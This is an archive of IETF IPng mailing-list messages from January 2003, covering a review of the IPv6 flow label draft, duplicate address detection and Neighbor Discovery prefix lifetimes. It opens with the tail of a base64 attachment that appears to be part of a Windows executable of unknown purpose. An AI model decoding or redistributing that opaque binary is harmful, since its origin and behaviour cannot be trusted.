AAAAAAAAAAAAAAAAABACADQJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAQxAAASAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA
hZIAAAAQAAAAoAAAABAAAAAAAAAAAAAAAAAAACAAAGAuZGF0YQAAAAoCAAAAsAAAABAAAACw
AAAAAAAAAAAAAAAAAABAAADQLmlkYXRhAABYEQAAAMAAAAAgAAAAwAAAAAAAAAAAAAAAAAAA
QAAAQC5pbnN0YW5jBAAAAADgAAAAEAAAAOAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAMQX
AQAA8AAAACABAADwAAAAAAAAAAAAAAAAAABAAABQLnJlbG9jAABWCwAAABACAAAQAAAAEAIA
AAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA
--EPLSIKgf8Rz1VkW4887m7j--
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan  3 09:29:52 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h03HTp16026136;
	Fri, 3 Jan 2003 09:29:51 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h03HTpk5026135;
	Fri, 3 Jan 2003 09:29:51 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h03HTm16026128
	for <ipng@sunroof.eng.sun.com>; Fri, 3 Jan 2003 09:29:48 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h03HTvXq009237
	for <ipng@sunroof.eng.sun.com>; Fri, 3 Jan 2003 09:29:57 -0800 (PST)
Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA05444
	for <ipng@sunroof.eng.sun.com>; Fri, 3 Jan 2003 09:29:51 -0800 (PST)
Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22])
	by e33.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id h03HTiSK050360;
	Fri, 3 Jan 2003 12:29:44 -0500
Received: from cichlid.adsl.duke.edu (sig-9-65-208-106.mts.ibm.com [9.65.209.106] (may be forged))
	by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id h03HTgeG047706;
	Fri, 3 Jan 2003 10:29:43 -0700
Received: from cichlid.adsl.duke.edu (narten@localhost)
	by cichlid.adsl.duke.edu (8.11.6/8.9.3) with ESMTP id h03HS1G07945;
	Fri, 3 Jan 2003 12:28:07 -0500
Message-Id: <200301031728.h03HS1G07945@cichlid.adsl.duke.edu>
To: jarno.rajahalme@nokia.com
cc: ipng@sunroof.eng.sun.com
Subject: Re: I-D ACTION:draft-ietf-ipv6-flow-label-04.txt 
In-Reply-To: Message from jarno.rajahalme@nokia.com 
   of "Fri, 20 Dec 2002 19:26:53 +0200." <009CA59D1752DD448E07F8EB2F9117570216EB13@esebe004.ntc.nokia.com> 
Date: Fri, 03 Jan 2003 12:28:01 -0500
From: Thomas Narten <narten@us.ibm.com>
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

I reviewed the revised document today. Speaking as an individual, here
is my reaction:

> Abstract
> 
>    This document specifies the IPv6 Flow Label field, the requirements
>    for IPv6 source nodes labeling flows, and the requirements for flow
>    state establishment methods.

Note: what I would expect this draft to describe is:

1) what arbitrary source nodes should do with the flow label.
2) what routers should do with the flow label.

The document appears to do 1), but 2) is omitted from the document. Is
this OK?  I.e., I thought the main reason to specify the flow label is
so that current implementations can do something sensible with the
flow label.  Is there enough guidance for router implementors (e.g.,
those doing hardware) to add useful support for the flow label? I'm
not sure, but would like to hear from such implementors.

> 2.  IPv6 Flow Label Specification
> 
>    The 20-bit Flow Label field in the IPv6 header [IPv6] SHOULD be used
>    by a source to label packets of a flow. A non-zero Flow Label

Note: I don't think the SHOULD/MUST usage in this document is always
helpful or even correct. It would make sense to go read the defintions
in RFC 2119 as cited.

This document defines a flow as the three tuple. No "SHOULD" about
it. If a source wants to label a flow, it does so by setting the flow
label. A better wording would be something like:

    Flows in IPv6 identified by the tuple of the 20-bit Flow Label,
    the IP source address, and the IP destination address in the IPv6
    header.


>    The packet MAY be given some flow-specific treatment based on the
>    flow state established on a set of IPv6 nodes. The nature of the

MAY here seems odd too. Again, read the definition of MAY. It suggests
that an implementation may decide it makes sense to do something in
certain circumstances. But what I think the document is trying to say
here is that flow-specific processing is done by entities that have
been directed to do so. This is not an implementation choice in the
"MAY" sense. It has more to do whether a device implements flows and
then whether there is appropriate flow-state. Suggested reword:

    The packet will be processed in a flow-specific manner by those
    nodes that have special processing enabled for packets belonging
    to a particular flow.

Actually, the entire paragraph might be better as:    

    IPv6 flows are defined by the tuple of the 20-bit Flow Label, the
    IP source address, and the IP destination address in the IPv6
    header. Packet classifiers use the tuple to identify which flow a
    particular packet belongs to.  Packets will be processed in a
    flow-specific manner by those nodes that have special processing
    enabled for packets belonging to a particular flow.  A Flow Label
    of zero indicates an unlabelled packet that is given no special
    treatment.  The nature of the specific treatment and the methods
    for the flow state establishment are beyond the scope of this
    specification.
   
>    The Flow Label value set by the source MUST be delivered unchanged to
>    the destination node(s).

Question: What is the above intended to mean? That the flow label must
be delivered to the destination unchanged from what it was set to by
the originator? Or that the flow label MUST NOT be modified by any
node along the path? (the two are different, and the words seem to say
the former.) It would be good to be clear.

>    IPv6 nodes MUST NOT assume any mathematical or other properties of
>    the Flow Label values assigned by source nodes. Router performance
>    SHOULD NOT be dependent on the distribution of the Flow Label values.
>    Especially, the Flow Label bits alone make poor material for a hash
>    key.

I wonder if the above wording is even needed. Can this section just be
dropped? If not, suggested reword:

   Some early proposals for use of the IPv6 Flow Label suggested that
   routers might use the Flow Label as a hash key for doing lookups as
   an optimization. However, this technique assumed that Flow Label
   values would make good material for a hash key in order that the
   resultant hashes would be sufficiently distributed. In practice,
   this cannot be relied upon, and would open up implementations to
   potential denial-of-service attacks from attackers that
   intentionally violate such an assumption. Consequently, IPv6 nodes
   MUST NOT assume any mathematical or other properties of the Flow
   Label values assigned by source nodes.

>    Nodes keeping dynamic flow state MUST NOT assume packets arriving 60
>    seconds or more after the previous packet of a flow still belong to
>    the same flow, unless a flow state establishment method in use
>    defines a longer flow state lifetime or the flow state has been
>    explicitly refreshed within the lifetime duration.

I'm not entirely comfortable with the above wording. It seems to me,
that any node making assumptions about flow values *needs* a flow
setup mechanism to go along with it. But if there is such a mechanism,
that mechanism can communicate appropriate timer values for timing out
state (and the above words are not needed). If there is no such
mechanism, what sort of flow-specific processing should assume that a
gap of 60 seconds implies a reset in the flow? 

What problem is the above wording intended to address?

>    If an IPv6 node is not providing flow-specific treatment, it MUST
>    ignore the field when receiving or forwarding a packet.

Such a node is presumably not implementing this spec, in which case
the words seem superfluous... Delete?

> 3.  Flow Labeling Requirements
> 
>    To enable Flow Label based classification, sources SHOULD assign each
>    unrelated transport connection and application data stream to a new
>    flow. The source MAY also take part in flow state establishment
>    methods that result in assigning certain packets to specific flows. A
>    source which does not assign traffic to flows MUST set the Flow Label
>    to zero.

I find the above a bit muddled and incomplete. Here is an attempt at
clarifying:

    A source enables flow-specific processing by assigning a non-zero
    value to the Flow Label on outgoing packets. Because identifying
    individual flows may only be possible with the direct help of
    individual applications, there is no one rule for how and when to
    label outgoing packets.  In the absence of more-explicit
    information (e.g, from an application), sources SHOULD assign each
    new transport connection to a new flow.

    Applications should also be provided sufficient control over how
    to set the Flow Label. Such indications should support:

        - use a specific value for the flow label (e.g., if the
          application is participating in a flow setup protocol) 

	- Let the system pick a value, but provide a way for the
	  application to specify that a previously-assigned value be
	  used when sending packets. This is to support applications
	  that have multiple flows, transported over what the system
	  might view as a single "connection" or "socket".
	
	... [there are a bunch of things here that it probably makes
          sense to at least indicate may be necessary. I don't think
          this document should include the API, but it would be good
          to itemize the types of operations that will need to be
          supported.]

    A source that does not desire flow-specific processing sets the
    Flow Label value to 0. However, this document requires that
    implementations not set the value to 0 by default, in order to
    enable the support load spreading.


>    A source node MUST keep track of the Flow Label values it is
>    currently using or has recently used.

Mumble. the above comes across as a restrictive requirement rather
than focusing on the key requirement to fulfill.

> Flow Label values previously
>    used with a specific pair of source and destination addresses MUST
>    NOT be assigned to new flows with the same address pair within 60
>    seconds of the termination of the previous flow. If the previous flow
>    had a lifetime longer than the default 60 seconds, a quarantine
>    period of at least the length of the lifetime MUST be observed.

As mentioned above, I'm not sure about the 60 second value. Also, the
wording could be better.

>    The requirement of not reusing a Flow Label value for a new flow with
>    the same pair of source and destination addresses extends across
>    source node crashes and reboots. To avoid accidental Flow Label value
>    reuse, the source node SHOULD use a different initial value for Flow
>    Label assignments after a reboot. The initial value could be randomly
>    generated, or computed from a previous value stored in non-volatile
>    memory.

Suggested rewording:

   A source node should not reuse a particular Flow Label for a
   different flow until it is sure that any flow-specific state on
   other nodes has timed out or been appropriately updated.  In
   particular, if a node reboots, it may lose track of which Flow
   Label values it has used recently, and pick the same
   ones. Implementations MUST ensure that they don't reuse Flow Labels
   too quickly. The problem here is analagous to picking initial
   sequence numbers when opening TCP connections after a
   restart. There are number of ways to avoid reuse. One approach is
   to have new Flow Label values be chosen in some well-defined order
   (e.g., sequentially, a pseudo-random sequence, etc.). Upon a system
   restart, the initial value could be randomly generated, or computed
   from a previous value stored in non-volatile memory.

> 4.  Flow State Establishment Requirements
> 
>    To enable flow-specific treatment, flow state needs to be established
>    on all or a subset of the IPv6 nodes on the path from the source to
>    the destination(s). The methods for the state establishment, as well
>    as the models for flow-specific treatment will be defined in separate
>    specifications.
> 
>    To enable co-existence of different methods in IPv6 nodes, the
>    methods MUST meet the following basic requirements:
> 
>    (1)  The method MUST provide the means for flow state clean-up from
>         the IPv6 nodes providing the flow-specific treatment. Signaling
>         based methods where the source node is involved are free to
>         specify flow state lifetimes longer than the default 60 seconds.
> 
>    (2)  Flow state establishment methods MUST be able to recover from
>         the case where the requested flow state cannot be supported.

I'm not sure what purpose the above provides.  I guess its mostly
harmless, but it strikes me as being pretty obvious, and I wonder if
these are the only real issues to think about. I.e., is this section
complete?  If not, do we need it?

> Security Considerations
> 
>    The use of the Flow Label field enables flow classification also in
>    the presence of encryption of IPv6 payloads. This allows the
>    transport header values to remain confidential, which may lessen the
>    possibilities for some forms of traffic analysis. However, the
>    labeling of flows defined in this specification may reveal some
>    structure of communications otherwise concealed by transport mode

Seems like more could be said here. If use of the flow label allows
special treatment of traffic, aren't there possible theft of service
issues? Or DOS issues, if someone generates traffic trying to
overwhelm a particular flow? What about authorization? Can anyone set
up flows? Are there requirements or issues here that should be
mentioned in Section 4?  This section seems a bit incomplete.
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan  3 09:35:34 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h03HZY16026229;
	Fri, 3 Jan 2003 09:35:34 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h03HZYu5026228;
	Fri, 3 Jan 2003 09:35:34 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h03HZU16026221
	for <ipng@sunroof.eng.sun.com>; Fri, 3 Jan 2003 09:35:30 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h03HZduk005934
	for <ipng@sunroof.eng.sun.com>; Fri, 3 Jan 2003 09:35:39 -0800 (PST)
Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA29863
	for <ipng@sunroof.eng.sun.com>; Fri, 3 Jan 2003 10:35:34 -0700 (MST)
Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22])
	by e31.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id h03HZTZx048460;
	Fri, 3 Jan 2003 12:35:29 -0500
Received: from cichlid.adsl.duke.edu (sig-9-65-208-106.mts.ibm.com [9.65.209.106] (may be forged))
	by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id h03HYBeG099008;
	Fri, 3 Jan 2003 10:34:12 -0700
Received: from cichlid.adsl.duke.edu (narten@localhost)
	by cichlid.adsl.duke.edu (8.11.6/8.9.3) with ESMTP id h03HWaZ07960;
	Fri, 3 Jan 2003 12:32:36 -0500
Message-Id: <200301031732.h03HWaZ07960@cichlid.adsl.duke.edu>
To: Siva Veerepalli <sivav@qualcomm.com>
cc: ipng@sunroof.eng.sun.com
Subject: Re: DAD for stateful address autoconfig 
In-Reply-To: Message from Siva Veerepalli <sivav@qualcomm.com> 
   of "Fri, 13 Dec 2002 15:17:23 PST." <4.3.1.2.20021213135845.01e10ed8@jittlov.qualcomm.com> 
Date: Fri, 03 Jan 2003 12:32:36 -0500
From: Thomas Narten <narten@us.ibm.com>
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> For stateful address config, since state is maintained it is unlikely that 
> the same address would be assigned to two different
> interfaces. Isn't it?

I'm not sure this assumption is valid. 

Note that in DHCPv4, nodes are also supposed to see if someone else is
already using the address before using. This is to prevent duplicate
assignments that "aren't supposed to happen".  Hence, checking to see
if it is in use is a prudent safety measure.

Thomas
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan  3 09:56:17 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h03HuH16026855;
	Fri, 3 Jan 2003 09:56:17 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h03HuGrN026854;
	Fri, 3 Jan 2003 09:56:16 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h03HuD16026847
	for <ipng@sunroof.eng.sun.com>; Fri, 3 Jan 2003 09:56:13 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h03HuMXq015533
	for <ipng@sunroof.eng.sun.com>; Fri, 3 Jan 2003 09:56:22 -0800 (PST)
Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA02095;
	Fri, 3 Jan 2003 10:56:17 -0700 (MST)
Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22])
	by e33.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id h03HuCSK041510;
	Fri, 3 Jan 2003 12:56:13 -0500
Received: from cichlid.adsl.duke.edu (sig-9-65-208-106.mts.ibm.com [9.65.209.106] (may be forged))
	by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id h03HuBeG102704;
	Fri, 3 Jan 2003 10:56:11 -0700
Received: from cichlid.adsl.duke.edu (narten@localhost)
	by cichlid.adsl.duke.edu (8.11.6/8.9.3) with ESMTP id h03HsJO08210;
	Fri, 3 Jan 2003 12:54:20 -0500
Message-Id: <200301031754.h03HsJO08210@cichlid.adsl.duke.edu>
To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= <jinmei@isl.rdc.toshiba.co.jp>
cc: Erik.Nordmark@Sun.COM, ipng@sunroof.eng.sun.com
Subject: Re: preferred lifetime > valid lifetime 
In-Reply-To: Message from JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= <jinmei@isl.rdc.toshiba.co.jp> 
   of "Tue, 10 Dec 2002 21:38:26 +0900." <y7v1y4qujzx.wl@ocean.jinmei.org> 
Date: Fri, 03 Jan 2003 12:54:19 -0500
From: Thomas Narten <narten@us.ibm.com>
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> I have a question about a corner case of IPv6 Neighbor Discovery; what
> should a host do if a received RA contains a prefix whose preferred
> lifetime is larger than valid lifetime?

> In terms stateless address autoconfiguration, the specification
> clearly says that such a prefix must be ignored:

>     c) If the preferred lifetime is greater than the valid lifetime,
>        silently ignore the Prefix Information option. A node MAY wish to
>        log a system management error in this case.
> (RFC 2462 Section 5.5.3)

> However, there seems to be no description about the case in RFC 2461.
> This is perhaps intentional, because the preferred lifetime does not
> affect on-link prefix configuration.  So my question is:

> - is RFC 2461 intentionally silent about the case of preferred
>   lifetime > valid lifetime?
> - if so, what should a host do when, for example, it receives a prefix
>   with the L bit being set, the A bit being set, and preferred LT >
>   valid LT?  Should it just regard the prefix as on-link and not
>   configure a corresponding address?
> - or, do I miss something in RFC 2461?

I don't know that it really  matters that much whether one ignores the
on-link determiniation or not in this case. Neither seems particularly
catastrophic. 

Note the follow words in 2461:

   Stateless address autoconfiguration [ADDRCONF] may in some
   circumstances increase the Valid Lifetime of a prefix or ignore it
   completely in order to prevent a particular denial of service attack.
   However, since the effect of the same denial of service targeted at
   the on-link prefix list is not catastrophic (hosts would send packets
   to a default router and receive a redirect rather than sending
   packets directly to a neighbor) the Neighbor Discovery protocol does
   not impose such a check on the prefix lifetime values.

I think similar logic applies to the case you describe.

Thomas
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Sat Jan  4 00:42:43 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h048gh16000464;
	Sat, 4 Jan 2003 00:42:43 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h048gh34000463;
	Sat, 4 Jan 2003 00:42:43 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h048ge16000456
	for <ipng@sunroof.eng.sun.com>; Sat, 4 Jan 2003 00:42:40 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h048gmuk027310
	for <ipng@sunroof.eng.sun.com>; Sat, 4 Jan 2003 00:42:48 -0800 (PST)
Received: from mta0 ([61.144.161.10])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA19970
	for <ipng@sunroof.eng.sun.com>; Sat, 4 Jan 2003 01:42:37 -0700 (MST)
Received: from ly (mta0 [172.17.1.62])
 by mta0.huawei.com (iPlanet Messaging Server 5.2 HotFix 0.8 (built Jul 12
 2002)) with ESMTPA id <0H86000MQLG4OH@mta0.huawei.com> for
 ipng@sunroof.eng.sun.com; Sat, 04 Jan 2003 16:40:54 +0800 (CST)
Date: Sat, 04 Jan 2003 16:41:54 +0800
From: Keshava Ayanur <keshavaak@huawei.com>
Subject: DAD scope ??
To: 6bone@mailman.isi.edu, ipng@sunroof.eng.sun.com
Message-id: <000201c2b3cd$22def5a0$68226e0a@HUAWEI.COM>
Organization: Huawei Technology
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
X-Mailer: Microsoft Outlook, Build 10.0.3416
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

I would like to know 

Duplicate Address detection (DAD) scope is only for 
	link - for link local address
Or it appilies even for 

	site - for site local address
	global - for global unicast address.


Thanks 
keshava

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Sat Jan  4 07:57:12 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h04FvC16001398;
	Sat, 4 Jan 2003 07:57:12 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h04FvC4r001397;
	Sat, 4 Jan 2003 07:57:12 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h04Fv916001390
	for <ipng@sunroof.eng.sun.com>; Sat, 4 Jan 2003 07:57:09 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h04FvIXq028376
	for <ipng@sunroof.eng.sun.com>; Sat, 4 Jan 2003 07:57:19 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA25667
	for <ipng@sunroof.eng.sun.com>; Sat, 4 Jan 2003 08:57:12 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h04FuwH27201;
	Sat, 4 Jan 2003 17:56:58 +0200
Date: Sat, 4 Jan 2003 17:56:58 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Keshava Ayanur <keshavaak@huawei.com>
cc: 6bone@mailman.isi.edu, <ipng@sunroof.eng.sun.com>
Subject: Re: [6bone] DAD scope ??
In-Reply-To: <000201c2b3cd$22def5a0$68226e0a@HUAWEI.COM>
Message-ID: <Pine.LNX.4.44.0301041756420.27199-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Sat, 4 Jan 2003, Keshava Ayanur wrote:
> Duplicate Address detection (DAD) scope is only for 
> Or it appilies even for 
> 
> 	site - for site local address
> 	global - for global unicast address.

All.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Sun Jan  5 03:43:43 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h05Bhg16003416;
	Sun, 5 Jan 2003 03:43:42 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h05BhgfM003415;
